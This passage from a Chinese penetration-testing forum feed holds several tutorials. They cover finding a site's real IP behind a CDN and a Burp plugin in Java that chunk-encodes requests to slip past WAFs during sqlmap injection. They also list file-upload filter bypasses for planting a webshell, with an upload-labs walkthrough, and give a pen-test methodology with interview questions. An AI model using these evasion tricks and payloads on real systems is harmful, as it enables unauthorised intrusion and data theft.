<p>隐藏服务具有SSL证书，要查找它使用的IPv4主机，只需将"SHA1 fingerprint"（签名证书的sha1值）粘贴到Censys IPv4主机搜索中，即可找到证书，使用此方法可以轻松找到配置错误的Web服务器。</p>
<h3> </h3>
<h3>方法5:利用HTTP标头寻找真实原始IP</h3>
<p>借助SecurityTrails这样的平台，任何人都可以在茫茫的大数据搜索到自己的目标，甚至可以通过比较HTTP标头来查找到原始服务器。</p>
<p>特别是当用户拥有一个非常特别的服务器名称与软件名称时，攻击者找到你就变得更容易。</p>
<p>如果要搜索的数据相当多，如上所述，攻击者可以在Censys上组合搜索参数。假设你正在与1500个Web服务器共享你的服务器HTTP标头，这些服务器都发送的是相同的标头参数和值的组合。而且你还使用新的PHP框架发送唯一的HTTP标头（例如：X-Generated-Via：XYZ框架），目前约有400名网站管理员使用了该框架。而最终由三个服务器组成的交集，只需手动操作就可以找到了IP，整个过程只需要几秒钟。</p>
<p>例如，Censys上用于匹配服务器标头的搜索参数是80.http.get.headers.server :，查找由CloudFlare提供服务的网站的参数如下：</p>
<p>80.http.get.headers.server:cloudflare</p>
<p><img title="1559276536427745.png" src="https://www.hackliu.com/wp-content/uploads/image/20190531/1559276536427745.png" alt="1058583-20181009230838766-860479177.png" /></p>
<p> </p>
<h3>方法6:利用网站返回的内容寻找真实原始IP</h3>
<p>如果原始服务器IP也返回了网站的内容，那么可以在网上搜索大量的相关数据。</p>
<p>浏览网站源代码，寻找独特的代码片段。在JavaScript中使用具有访问或标识符参数的第三方服务（例如Google Analytics，reCAPTCHA）是攻击者经常使用的方法。</p>
<p>以下是从HackTheBox网站获取的Google Analytics跟踪代码示例：</p>
<p>ga（'create'，'UA-93577176-1'，'auto'）;<br />可以使用80.http.get.body：参数通过body/source过滤Censys数据，不幸的是，正常的搜索字段有局限性，但你可以在Censys请求研究访问权限，该权限允许你通过Google BigQuery进行更强大的查询。</p>
<p>Shodan是一种类似于Censys的服务，也提供了http.html搜索参数。</p>
<p>搜索示例：https://www.shodan.io/search?query=http.html%3AUA-32023260-1</p>
<p><span><img title="1559276559939859.png" src="https://www.hackliu.com/wp-content/uploads/image/20190531/1559276559939859.png" alt="1058583-20181009230838766-860479177.png" /></span></p>
<p> </p>
<h3>方法7:使用国外主机解析域名</h3>
<p>国内很多 CDN 厂商因为各种原因只做了国内的线路，而针对国外的线路可能几乎没有，此时我们使用国外的主机直接访问可能就能获取到真实IP。</p>
<h3> </h3>
<h3>方法8:网站漏洞查找</h3>
<p>1）目标敏感文件泄露，例如：phpinfo之类的探针、GitHub信息泄露等。<br />2）XSS盲打，命令执行反弹shell，SSRF等。<br />3）无论是用社工还是其他手段，拿到了目标网站管理员在CDN的账号，从而在从CDN的配置中找到网站的真实IP。</p>
<h3> </h3>
<h3>方法9:网站邮件订阅查找</h3>
<p>RSS邮件订阅，很多网站都自带 sendmail，会发邮件给我们，此时查看邮件源码里面就会包含服务器的真实 IP 了。</p>
<h3> </h3>
<h3>方法10：用 Zmap 扫全网</h3>
<p>需要找 xiaix.me 网站的真实 IP，我们首先从 apnic 获取 IP 段，然后使用 Zmap 的 banner-grab 扫描出来 80 端口开放的主机进行 banner 抓取，最后在 http-req 中的 Host 写 xiaix.me。</p>
<h3> </h3>
<h3>方法11：F5 LTM解码法</h3>
<p>当服务器使用F5 LTM做负载均衡时，通过对set-cookie关键字的解码真实ip也可被获取，例如：Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000，先把第一小节的十进制数即487098378取出来，然后将其转为十六进制数1d08880a，接着从后至前，以此取四位数出来，也就是0a.88.08.1d，最后依次把他们转为十进制数10.136.8.29，也就是最后的真实ip。</p>
</div>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/pen-testing/">Pen Testing</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/pen-testing/%e5%b7%a5%e5%85%b7%e7%bb%95%e8%bf%87cdn%e6%9f%a5%e6%89%be%e7%9c%9f%e5%ae%9eip%e6%96%b9%e6%b3%95/</guid>
                    </item>
				                    <item>
                        <title>编写Burp分块传输插件绕WAF</title>
                        <link>https://itprosec.com/community/pen-testing/%e6%8a%80%e6%9c%af%e7%bc%96%e5%86%99burp%e5%88%86%e5%9d%97%e4%bc%a0%e8%be%93%e6%8f%92%e4%bb%b6%e7%bb%95waf/</link>
                        <pubDate>Thu, 18 Jun 2020 18:08:37 +0000</pubDate>
                        <description><![CDATA[利用分块传输吊打所有WAF


x01 功能设计
我们先来看看插件要实现的功能
 


在Burp Repeater套件上可对数据包进行快速chunked解码编码


自动化对Burp的Proxy，scanner，spider等套件的数据包进行编码


可设置分块长度，是否开启注释


0x02 编写代码
限于边幅，我只说明核心函数，并通过注...]]></description>
                        <content:encoded><![CDATA[<div class="view-meta">利用分块传输吊打所有WAF</div>
<div class="view-content">
<p><img title="1560991297110769.png" src="https://www.hackliu.com/wp-content/uploads/image/20190620/1560991297110769.png" alt="t0144c86a66263c7cce.png" /></p>
<p><span><strong>x01 功能设计</strong></span></p>
<p>我们先来看看插件要实现的功能</p>
<p> </p>
<ul class=" list-paddingleft-2">
<li>
<p>在Burp Repeater套件上可对数据包进行快速chunked解码编码</p>
</li>
<li>
<p>自动化对Burp的Proxy，scanner，spider等套件的数据包进行编码</p>
</li>
<li>
<p>可设置分块长度，是否开启注释</p>
</li>
</ul>
<p><span><strong>0x02 编写代码</strong></span></p>
<p>限于边幅，我只说明核心函数，并通过注释的方式解释代码的相关功能。</p>
<p><strong>2.1 编码函数</strong></p>
<p>这是我们的核心函数，对各个套件数据HTTP数据进行chunked编码</p>
<table class="syntaxhighlighter  java" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
<div class="line number2 index1 alt1">2</div>
<div class="line number3 index2 alt2">3</div>
<div class="line number4 index3 alt1">4</div>
<div class="line number5 index4 alt2">5</div>
<div class="line number6 index5 alt1">6</div>
<div class="line number7 index6 alt2">7</div>
<div class="line number8 index7 alt1">8</div>
<div class="line number9 index8 alt2">9</div>
<div class="line number10 index9 alt1">10</div>
<div class="line number11 index10 alt2">11</div>
<div class="line number12 index11 alt1">12</div>
<div class="line number13 index12 alt2">13</div>
<div class="line number14 index13 alt1">14</div>
<div class="line number15 index14 alt2">15</div>
<div class="line number16 index15 alt1">16</div>
<div class="line number17 index16 alt2">17</div>
<div class="line number18 index17 alt1">18</div>
<div class="line number19 index18 alt2">19</div>
<div class="line number20 index19 alt1">20</div>
<div class="line number21 index20 alt2">21</div>
<div class="line number22 index21 alt1">22</div>
<div class="line number23 index22 alt2">23</div>
<div class="line number24 index23 alt1">24</div>
<div class="line number25 index24 alt2">25</div>
<div class="line number26 index25 alt1">26</div>
<div class="line number27 index26 alt2">27</div>
<div class="line number28 index27 alt1">28</div>
<div class="line number29 index28 alt2">29</div>
<div class="line number30 index29 alt1">30</div>
<div class="line number31 index30 alt2">31</div>
<div class="line number32 index31 alt1">32</div>
<div class="line number33 index32 alt2">33</div>
<div class="line number34 index33 alt1">34</div>
<div class="line number35 index34 alt2">35</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="java keyword">public</code> <code class="java keyword">static</code>  <code class="java keyword">byte</code><code class="java plain">[] encoding(IExtensionHelpers helpers, IHttpRequestResponse requestResponse, </code><code class="java keyword">int</code> <code class="java plain">split_len, </code><code class="java keyword">boolean</code> <code class="java plain">isComment) </code><code class="java keyword">throws</code> <code class="java plain">UnsupportedEncodingException {</code></div>
<div class="line number2 index1 alt1"><code class="java spaces">    </code><code class="java keyword">byte</code><code class="java plain">[] request = requestResponse.getRequest();</code></div>
<div class="line number3 index2 alt2"><code class="java spaces">    </code><code class="java plain">IRequestInfo requestInfo = helpers.analyzeRequest(request);</code></div>
<div class="line number4 index3 alt1"><code class="java spaces">    </code><code class="java keyword">int</code> <code class="java plain">bodyOffset = requestInfo.getBodyOffset();</code></div>
<div class="line number5 index4 alt2"><code class="java spaces">    </code><code class="java keyword">int</code> <code class="java plain">body_length = request.length - bodyOffset;</code></div>
<div class="line number6 index5 alt1"><code class="java spaces">    </code><code class="java plain">String body = </code><code class="java keyword">new</code> <code class="java plain">String(request, bodyOffset, body_length, </code><code class="java string">"UTF-8"</code><code class="java plain">);</code></div>
<div class="line number7 index6 alt2"><code class="java spaces">    </code><code class="java comments">// 对长度大于10000的数据包，不处理</code></div>
<div class="line number8 index7 alt1"><code class="java spaces">    </code><code class="java keyword">if</code> <code class="java plain">(request.length - bodyOffset &gt; </code><code class="java value">10000</code><code class="java plain">){</code></div>
<div class="line number9 index8 alt2"><code class="java spaces">        </code><code class="java keyword">return</code> <code class="java plain">request;</code></div>
<div class="line number10 index9 alt1"><code class="java spaces">    </code><code class="java plain">}</code></div>
<div class="line number11 index10 alt2"><code class="java spaces">    </code><code class="java comments">//对数据包进行编码处理</code></div>
<div class="line number12 index11 alt1"><code class="java spaces">    </code><code class="java plain">List&lt;String&gt; str_list = Util.getStrList(body,Config.splite_len);</code></div>
<div class="line number13 index12 alt2"><code class="java spaces">    </code><code class="java plain">String encoding_body = </code><code class="java string">""</code><code class="java plain">;</code></div>
<div class="line number14 index13 alt1"><code class="java spaces">    </code><code class="java keyword">for</code><code class="java plain">(String str:str_list){</code></div>
<div class="line number15 index14 alt2"><code class="java spaces">        </code><code class="java keyword">if</code><code class="java plain">(Config.isComment){</code></div>
<div class="line number16 index15 alt1"><code class="java spaces">            </code><code class="java plain">encoding_body += String.format(</code><code class="java string">"%s;%s"</code><code class="java plain">,Util.decimalToHex(str.length()),Util.getRandomString(</code><code class="java value">10</code><code class="java plain">));</code></div>
<div class="line number17 index16 alt2"><code class="java spaces">        </code><code class="java plain">}</code><code class="java keyword">else</code><code class="java plain">{</code></div>
<div class="line number18 index17 alt1"><code class="java spaces">            </code><code class="java plain">encoding_body += Util.decimalToHex(str.length());</code></div>
<div class="line number19 index18 alt2"><code class="java spaces">        </code><code class="java plain">}</code></div>
<div class="line number20 index19 alt1"><code class="java spaces">        </code><code class="java plain">encoding_body += </code><code class="java string">"\r\n"</code><code class="java plain">;</code></div>
<div class="line number21 index20 alt2"><code class="java spaces">        </code><code class="java plain">encoding_body += str;</code></div>
<div class="line number22 index21 alt1"><code class="java spaces">        </code><code class="java plain">encoding_body += </code><code class="java string">"\r\n"</code><code class="java plain">;</code></div>
<div class="line number23 index22 alt2"><code class="java spaces">    </code><code class="java plain">}</code></div>
<div class="line number24 index23 alt1"><code class="java spaces">    </code><code class="java plain">encoding_body += </code><code class="java string">"0\r\n\r\n"</code><code class="java plain">;</code></div>
<div class="line number25 index24 alt2"><code class="java spaces">    </code><code class="java comments">//在数据包中添加Transfer-Encoding: chunked头</code></div>
<div class="line number26 index25 alt1"><code class="java spaces">    </code><code class="java plain">List&lt;String&gt; headers = helpers.analyzeRequest(request).getHeaders();</code></div>
<div class="line number27 index26 alt2"><code class="java spaces">    </code><code class="java plain">Iterator&lt;String&gt; iter = headers.iterator();</code></div>
<div class="line number28 index27 alt1"><code class="java spaces">    </code><code class="java keyword">while</code> <code class="java plain">(iter.hasNext()) {</code></div>
<div class="line number29 index28 alt2"><code class="java spaces">        </code><code class="java keyword">if</code> <code class="java plain">(((String)iter.next()).contains(</code><code class="java string">"Transfer-Encoding"</code><code class="java plain">)) {</code></div>
<div class="line number30 index29 alt1"><code class="java spaces">            </code><code class="java plain">iter.remove();</code></div>
<div class="line number31 index30 alt2"><code class="java spaces">        </code><code class="java plain">}</code></div>
<div class="line number32 index31 alt1"><code class="java spaces">    </code><code class="java plain">}</code></div>
<div class="line number33 index32 alt2"><code class="java spaces">    </code><code class="java plain">headers.add(</code><code class="java string">"Transfer-Encoding: chunked"</code><code class="java plain">);</code></div>
<div class="line number34 index33 alt1"><code class="java spaces">    </code><code class="java keyword">return</code> <code class="java plain">helpers.buildHttpMessage(headers,encoding_body.getBytes());</code></div>
<div class="line number35 index34 alt2"><code class="java plain">}</code></div>
</div>
</td>
</tr>
</tbody>
</table>
<p>    自动编码其他模块的数据包，我们可以通过实现Burp的IHttpListener，IProxyListener这两个接口，分别实现processHttpMessage()，processProxyMessage()这两个方法。</p>
<p>    这里注意一个问题，Burp的所有模块的HTTP流量都会经过IHttpListener.processHttpMessage()这个方法，但是如果在这里处理数据包的话，Burp Proxy模块的数据包被修改之后,不会在Proxy套件UI界面显示修改后的流量，故Proxy模块流量处理单独使用IProxyListener.processProxyMessage()。</p>
<p><strong>2.2 自动编码Proxy套件的流量</strong></p>
<table class="syntaxhighlighter  java" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
<div class="line number2 index1 alt1">2</div>
<div class="line number3 index2 alt2">3</div>
<div class="line number4 index3 alt1">4</div>
<div class="line number5 index4 alt2">5</div>
<div class="line number6 index5 alt1">6</div>
<div class="line number7 index6 alt2">7</div>
<div class="line number8 index7 alt1">8</div>
<div class="line number9 index8 alt2">9</div>
<div class="line number10 index9 alt1">10</div>
<div class="line number11 index10 alt2">11</div>
<div class="line number12 index11 alt1">12</div>
<div class="line number13 index12 alt2">13</div>
<div class="line number14 index13 alt1">14</div>
<div class="line number15 index14 alt2">15</div>
<div class="line number16 index15 alt1">16</div>
<div class="line number17 index16 alt2">17</div>
<div class="line number18 index17 alt1">18</div>
<div class="line number19 index18 alt2">19</div>
<div class="line number20 index19 alt1">20</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="java color1">@Override</code></div>
<div class="line number2 index1 alt1"><code class="java keyword">public</code> <code class="java keyword">void</code> <code class="java plain">processProxyMessage(</code><code class="java keyword">final</code> <code class="java keyword">boolean</code> <code class="java plain">messageIsRequest, </code><code class="java keyword">final</code> <code class="java plain">IInterceptedProxyMessage proxyMessage) {</code></div>
<div class="line number3 index2 alt2"><code class="java spaces">    </code><code class="java keyword">if</code><code class="java plain">(messageIsRequest &amp;&amp; isValidTool(IBurpExtenderCallbacks.TOOL_PROXY)){</code></div>
<div class="line number4 index3 alt1"><code class="java spaces">        </code><code class="java plain">IHttpRequestResponse messageInfo = proxyMessage.getMessageInfo();</code></div>
<div class="line number5 index4 alt2"><code class="java spaces">        </code><code class="java plain">IRequestInfo reqInfo = helpers.analyzeRequest(messageInfo.getRequest());</code></div>
<div class="line number6 index5 alt1"><code class="java spaces">        </code><code class="java comments">//只对Content-Typt头为application/x-www-form-urlencode的POST包进行编码</code></div>
<div class="line number7 index6 alt2"><code class="java spaces">        </code><code class="java keyword">if</code><code class="java plain">(reqInfo.getMethod().equals(</code><code class="java string">"POST"</code><code class="java plain">) &amp;&amp; reqInfo.getContentType() == IRequestInfo.CONTENT_TYPE_URL_ENCODED){</code></div>
<div class="line number8 index7 alt1"><code class="java spaces">            </code><code class="java keyword">try</code> <code class="java plain">{</code></div>
<div class="line number9 index8 alt2"><code class="java spaces">                </code><code class="java comments">//使用encoding方法对原请求包进行chunked编码</code></div>
<div class="line number10 index9 alt1"><code class="java spaces">                </code><code class="java keyword">byte</code><code class="java plain">[] request = Transfer.encoding(helpers, messageInfo, Config.splite_len,Config.isComment);</code></div>
<div class="line number11 index10 alt2"><code class="java spaces">                </code><code class="java keyword">if</code> <code class="java plain">(request != </code><code class="java keyword">null</code><code class="java plain">) {</code></div>
<div class="line number12 index11 alt1"><code class="java spaces">                    </code><code class="java comments">//将原HTTP请求包替换为chunked编码后的请求包</code></div>
<div class="line number13 index12 alt2"><code class="java spaces">                    </code><code class="java plain">messageInfo.setRequest(request);</code></div>
<div class="line number14 index13 alt1"><code class="java spaces">                </code><code class="java plain">}</code></div>
<div class="line number15 index14 alt2"><code class="java spaces">            </code><code class="java plain">} </code><code class="java keyword">catch</code> <code class="java plain">(Exception e) {</code></div>
<div class="line number16 index15 alt1"><code class="java spaces">                </code><code class="java plain">stderr.println(e.getMessage());</code></div>
<div class="line number17 index16 alt2"><code class="java spaces">            </code><code class="java plain">}</code></div>
<div class="line number18 index17 alt1"><code class="java spaces">        </code><code class="java plain">}</code></div>
<div class="line number19 index18 alt2"><code class="java spaces">    </code><code class="java plain">}</code></div>
<div class="line number20 index19 alt1"><code class="java plain">}</code></div>
</div>
</td>
</tr>
</tbody>
</table>
<p>完整的代码</p>
<p><img src="http://www.hackliu.com/wp-content/plugins/UEditor-KityFormula-for-wordpress/ueditor/dialogs/attachment/fileTypeImages/icon_rar.gif" /><a title="chunked-coding-converter-master.zip" href="https://www.hackliu.com/wp-content/uploads/file/20190620/1560991522956048.zip">chunked-coding-converter-master.zip</a></p>
<p><strong><span>插件编译</span></strong></p>
<table class="syntaxhighlighter  java" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="java plain">mvn </code><code class="java keyword">package</code></div>
</div>
</td>
</tr>
</tbody>
</table>
<p><strong><span>插件使用</span></strong></p>
<p><strong><span><img title="1560991578410148.png" src="https://www.hackliu.com/wp-content/uploads/image/20190620/1560991578410148.png" alt="t0144c86a66263c7cce.png" /></span></strong></p>
<p><img title="1560991591510616.png" src="https://www.hackliu.com/wp-content/uploads/image/20190620/1560991591510616.png" alt="t0144c86a66263c7cce.png" /></p>
<p><span><strong>演示效果</strong></span></p>
<p>3.1 演示一：快速编码解码</p>
<p>在Burp repeater套件可以快速对请求内容进行chunked编码解码，来对WAF进行测试。</p>
<p><img title="1560991647632179.gif" src="https://www.hackliu.com/wp-content/uploads/image/20190620/1560991647632179.gif" alt="repeater-chunked-coding.gif" /></p>
<p>快速编码解码对WAF进行测试</p>
<p> </p>
<p>3.2 演示二：搭配sqlmap进行sql注入</p>
<p>sqlmap代理到Burp中，插件对Proxy套件的流量进行编码处理，来绕过waf。</p>
<p> </p>
<p> </p>
<p><img title="sqlmap-bypassWAF.gif" src="https://www.hackliu.com/wp-content/uploads/image/20190620/sqlmap-bypassWAF.gif" alt="repeater-chunked-coding.gif" /></p>
</div>
<section class="view-tag">
<div class="pull-left"> </div>
</section>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/pen-testing/">Pen Testing</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/pen-testing/%e6%8a%80%e6%9c%af%e7%bc%96%e5%86%99burp%e5%88%86%e5%9d%97%e4%bc%a0%e8%be%93%e6%8f%92%e4%bb%b6%e7%bb%95waf/</guid>
                    </item>
				                    <item>
                        <title>教你如何突破上传文件获取 WebShell 方法</title>
                        <link>https://itprosec.com/community/pen-testing/%e6%95%99%e4%bd%a0%e5%a6%82%e4%bd%95%e7%aa%81%e7%a0%b4%e4%b8%8a%e4%bc%a0%e6%96%87%e4%bb%b6%e8%8e%b7%e5%8f%96-webshell-%e6%96%b9%e6%b3%95/</link>
                        <pubDate>Fri, 29 May 2020 20:29:41 +0000</pubDate>
                        <description><![CDATA[实际的环境中，很少有直接可以任意上传文件的漏洞 常见于前端限制，小东根据个人经验整理出主要的三大类突破文件上传拦截的方法。
方法教程
操作 说明 前端禁用JS 前端限制，禁用JS，去除input标签的accept属性 修改文件后缀 抓包工具，修改文件后缀为黑名单之外的后缀 修改文件后缀 修改文件后缀为index.jpg.php 修改文件后缀 %00截断，比如index.ph...]]></description>
                        <content:encoded><![CDATA[<p>实际的环境中，很少有直接可以任意上传文件的漏洞 常见于前端限制，小东根据个人经验整理出主要的三大类突破文件上传拦截的方法。</p>
<h2>方法教程</h2>
<p>操作 说明 前端禁用JS 前端限制，禁用JS，去除<code>input</code>标签的<code>accept</code>属性 修改文件后缀 抓包工具，修改文件后缀为黑名单之外的后缀 修改文件后缀 修改文件后缀为<code>index.jpg.php</code><span> </span>修改文件后缀<span> </span><code>%00</code>截断，比如<code>index.php%00.jpg</code><span> </span>修改文件后缀 文件名末尾添加<code>::$DATA</code>，<code>windows</code>会把<code>::$DATA</code>之后的数据当成文件流，不会检测后缀名<code>.</code>且保持<code>::$DATA</code>之前的文件名 修改文件后缀 在<code>linux</code>主机上的文件名大小写敏感，文件后缀大小混写 修改文件后缀 在文件末尾添加空格，黑名单的方式没法儿检测 修改文件类型 抓包工具，修改<code>Content-Type:image/png</code><span> </span>修改文件后缀 修改文件名<code>shell.php:.jpg</code>，上传后会得到一个空的文件<code>shell.php</code>，然后修改文件名为<code>shell.&gt;&gt;&gt;</code>或者<code>shell.&lt;</code>、<code>shell.&lt;&lt;&lt;</code>、<code>shell.&gt;&gt;&lt;</code>再上传，重写<code>shell.php</code><span> </span>换行解析<span> </span><code>Apache2.4.0~2.4.29</code>换行解析漏洞<code>%0d</code>，<code>%0a</code>(<code>CR</code>,<code>LF</code>(回车，换行)) 未知后缀名<span> </span><code>Apache</code>配置<code>AddHandler application/x-httpd-php .php</code>不当导致未知后缀脚本执行 后缀名正则替换 这种需要构造，使得替换之后的可以重组成为新的可执行后缀，双后缀名绕过 修改上传路径<span> </span><code>name="upload_file/1.php%00"; filename="shell.jpg"</code><span> </span>条件竞争 条件竞争删除/重命名文件时间差绕过 图片马<span> </span><code>copy code.jpg/b + shell.php/b hourse.jpg</code><span> </span>图片重绘包含马 做一个就好了 上传压缩包 配合PHP伪协议、文件协议等读取执行本地文件 数据库写文件<span> </span><code>UDF</code>，<code>select</code>查询输入</p>
<h2>实战事例</h2>
<blockquote>
<p>来自<code>Upload-labs</code>漏洞演示靶场的文件上传的第九关示例，一看到下面这种情况，是不是感觉完全没思路？</p>
</blockquote>
<p>面对这样的情况，该怎么上传绕过呐？各位不妨先思考一下！</p>
<p>看到这样的情况是这样思考的：</p>
<p>1、什么操作系统？</p>
<p>2、如何绕过函数？</p>
<p>环境是自己的<code>windows</code>笔记本，那么通过<code>windows</code>系统特征可以尝试正则绕过，文件流<code>::$DATA</code>，大小写绕过，换行截断等方式。</p>
<p>如果是<code>linux</code>，就有文件大小写，换行截断，解析文件上传等等方式。</p>
<p>分析上面的文件：黑名单限制文件后缀，限制文件后缀大小写，去除<code>::$DATA</code>，限制上传<code>.htaccess</code>，难道这个题是假的？</p>
<p>这里可以尝试二次上传的方式，借助<code>windows</code>平台的正则匹配规则：</p>
<p>如下符号在windows平台下等效果</p>
<pre class="ql-syntax">" =&gt; .
<span class="hljs-meta">
&gt;</span> =&gt; ?
&lt; =&gt; *
</pre>
<ul>
<li>首先随便上传一个<code>shell.php</code>，使用抓包工具(比如:<code>burpsuite</code>)，将文件后缀修改为：<code>shell.php:.jpg</code></li>
<li>此时，会在<code>upload</code>目录下生成一个名为<code>shell.php</code>的空文件：</li>
<li>然后，修改数据包文件名为：<code>shell.&lt;&lt;&lt;</code>，这里在<code>move_uploaded_file($temp_file, '../../upload/shell.&lt;&lt;&lt;')</code>类似与正则匹配，匹配到<code>.../../upload/shell.php</code>文件，然后会将此次上传的文件数据写入到<code>shell.php</code>文件中，这样就成功写入我们的小马了。</li>
</ul>
<p>在这里，对于文件上传的练习靶场，非常推荐<code>Uplaod-labs</code>这个项目：<a href="https://github.com/c0ny1/upload-labs" target="_blank" rel="noopener noreferrer">https://github.com/c0ny1/upload-labs</a></p>
<p>文章部分转自：<a href="https://www.freebuf.com/articles/web/201421.html" target="_blank" rel="noopener noreferrer">https://www.freebuf.com/articles/web/201421.html</a></p>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/pen-testing/">Pen Testing</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/pen-testing/%e6%95%99%e4%bd%a0%e5%a6%82%e4%bd%95%e7%aa%81%e7%a0%b4%e4%b8%8a%e4%bc%a0%e6%96%87%e4%bb%b6%e8%8e%b7%e5%8f%96-webshell-%e6%96%b9%e6%b3%95/</guid>
                    </item>
				                    <item>
                        <title>2019年渗透测试思路及面试问题集锦</title>
                        <link>https://itprosec.com/community/pen-testing/2019%e5%b9%b4%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95%e6%80%9d%e8%b7%af%e5%8f%8a%e9%9d%a2%e8%af%95%e9%97%ae%e9%a2%98%e9%9b%86%e9%94%a6/</link>
                        <pubDate>Fri, 29 May 2020 20:27:30 +0000</pubDate>
                        <description><![CDATA[思路流程  - from 
信息收集

服务器的相关信息（真实ip，系统类型，版本，开放端口，WAF等）
网站指纹识别（包括，cms，cdn，证书等），dns记录
whois信息，姓名，备案，邮箱，电话反查（邮箱丢社工库，社工准备等）
子域名收集，旁站，C段等
google hacking针对化搜索，pdf文件，中间件版本，弱口令扫描等
扫描网站目录结构，爆后台，...]]></description>
                        <content:encoded><![CDATA[<h2>思路流程  -<span style="font-size: 10pt"><strong> from (https://wangdalao.com/1879.html)</strong></span></h2>
<h3>信息收集</h3>
<ol>
<li>服务器的相关信息（真实ip，系统类型，版本，开放端口，WAF等）</li>
<li>网站指纹识别（包括，cms，cdn，证书等），dns记录</li>
<li>whois信息，姓名，备案，邮箱，电话反查（邮箱丢社工库，社工准备等）</li>
<li>子域名收集，旁站，C段等</li>
<li>google hacking针对化搜索，pdf文件，中间件版本，弱口令扫描等</li>
<li>扫描网站目录结构，爆后台，网站banner，测试文件，备份等敏感文件泄漏等</li>
<li>传输协议，通用漏洞，exp，github源码等</li>
</ol>
<h3>漏洞挖掘</h3>
<ol>
<li>浏览网站，看看网站规模，功能，特点等</li>
<li>端口，弱口令，目录等扫描,对响应的端口进行漏洞探测，比如 rsync,心脏出血，mysql,ftp,ssh弱口令等。</li>
<li>XSS，SQL注入，上传，命令注入，CSRF，cookie安全检测，敏感信息，通信数据传输，暴力破解，任意文件上传，越权访问，未授权访问，目录遍历，文件 包含，重放攻击（短信轰炸），服务器漏洞检测，最后使用漏扫工具等</li>
</ol>
<h3>漏洞利用&amp;权限提升</h3>
<ul>
<li>mysql提权，serv-u提权，oracle提权</li>
<li>windows 溢出提权</li>
<li>linux脏牛,内核漏洞提权e</li>
</ul>
<h3>清除测试数据&amp;输出报告</h3>
<p>i 日志、测试数据的清理 ii 总结，输出渗透测试报告，附修复方案</p>
<h3>复测</h3>
<p>验证并发现是否有新漏洞，输出报告，归档</p>
<h2>问题</h2>
<p><strong>1、拿到一个待检测的站，你觉得应该先做什么？</strong></p>
<p>​ 1) 信息收集</p>
<p>​ 1. 获取域名的whois信息,获取注册者邮箱姓名电话等，丢社工库里看看有没有泄露密码，然后尝试用泄露的密码进行登录后台。 用邮箱做关键词进行丢进搜索引擎。 利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。 社工找出社交账号，里面或许会找出管理员设置密码的习惯 。 利用已有信息生成专用字典。</p>
<p>​ 2. 查询服务器旁站以及子域名站点，因为主站一般比较难，所以先看看旁站有没有通用性的cms或者其他漏洞。</p>
<p>​ 3. 查看服务器操作系统版本，web中间件，看看是否存在已知的漏洞，比如IIS，APACHE,NGINX的解析漏洞</p>
<p>​ 4. 查看IP，进行IP地址端口扫描，对响应的端口进行漏洞探测，比如 rsync,心脏出血，mysql,ftp,ssh弱口令等。</p>
<p>​ 5. 扫描网站目录结构，看看是否可以遍历目录，或者敏感文件泄漏，比如php探针</p>
<p>​ 6. google hack 进一步探测网站的信息，后台，敏感文件</p>
<p>​ 2) 漏洞扫描</p>
<p>​ 开始检测漏洞，如XSS,XSRF,sql注入，代码执行，命令执行，越权访问，目录读取，任意文件读取，下载，文件包含， ​ 远程命令执行，弱口令，上传，编辑器漏洞，暴力破解等</p>
<p>​ 3) 漏洞利用</p>
<p>​ 利用以上的方式拿到webshell，或者其他权限</p>
<p>​ 4) 权限提升</p>
<p>​ 提权服务器，比如windows下mysql的udf提权，serv-u提权，windows低版本的漏洞，如iis6,pr,巴西烤肉，linux脏牛漏洞，linux内核版本漏洞提权，linux下的mysql system提权以及oracle低权限提权</p>
<p>​ 5) 日志清理</p>
<p>​ 6) 总结报告及修复方案</p>
<p><strong>2、判断出网站的CMS对渗透有什么意义？</strong></p>
<p>​ 查找网上已曝光的程序漏洞。</p>
<p>​ 如果开源，还能下载相对应的源码进行代码审计。</p>
<p><strong>3、一个成熟并且相对安全的CMS，渗透时扫目录的意义？</strong></p>
<p>​ 敏感文件、二级目录扫描</p>
<p>​ 站长的误操作比如：网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点</p>
<p><strong>4、常见的网站服务器容器。</strong></p>
<p>​ IIS、Apache、nginx、Lighttpd、Tomcat</p>
<p><strong>5、mysql注入点，用工具对目标站直接写入一句话，需要哪些条件？</strong></p>
<p>​ root权限以及网站的绝对路径。</p>
<p><strong>6、目前已知哪些版本的容器有解析漏洞，具体举例。</strong></p>
<p>​ <strong>IIS 6.0</strong> ​ /xx.asp/xx.jpg “xx.asp”是文件夹名</p>
<p>​ IIS 7.0/7.5 ​ 默认Fast-CGI开启，直接在url中图片地址后面输入/1.php，会把正常图片当成php解析</p>
<p>​ Nginx ​ 版本小于等于0.8.37，利用方法和IIS 7.0/7.5一样，Fast-CGI关闭情况下也可利用。 ​ 空字节代码 xxx.jpg.php</p>
<p>​ Apache ​ 上传的文件命名为：test.php.x1.x2.x3，Apache是从右往左判断后缀</p>
<p>​ lighttpd ​ xx.jpg/xx.php，<strong>不全,请小伙伴们在评论处不吝补充，谢谢！</strong></p>
<p><strong>7、如何手工快速判断目标站是windows还是linux服务器？</strong></p>
<p>​ linux大小写敏感,windows大小写不敏感。</p>
<p><strong>8、为何一个mysql数据库的站，只有一个80端口开放？</strong></p>
<p>​ 更改了端口，没有扫描出来。</p>
<p>​ 站库分离。</p>
<p>​ 3306端口不对外开放</p>
<p><strong>9、3389无法连接的几种情况</strong></p>
<p>​ 没开放3389 端口</p>
<p>​ 端口被修改</p>
<p>​ 防护拦截</p>
<p>​ 处于内网(需进行端口转发)</p>
